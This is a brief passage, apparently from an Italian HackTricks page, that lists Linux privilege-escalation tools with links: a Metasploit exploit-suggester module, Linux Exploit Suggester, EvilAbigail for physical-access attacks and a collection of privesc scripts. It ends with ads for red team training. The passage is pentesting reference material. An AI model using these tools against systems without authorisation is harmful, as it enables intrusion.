Mestaploit: multi/recon/local_exploit_suggester
Linux Exploit Suggester: https://github.com/mzet-/linux-exploit-suggester
EvilAbigail (physical access): https://github.com/GDSSecurity/EvilAbigail
Raccolta di altri script: https://github.com/1N3/PrivEsc

Riferimenti

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks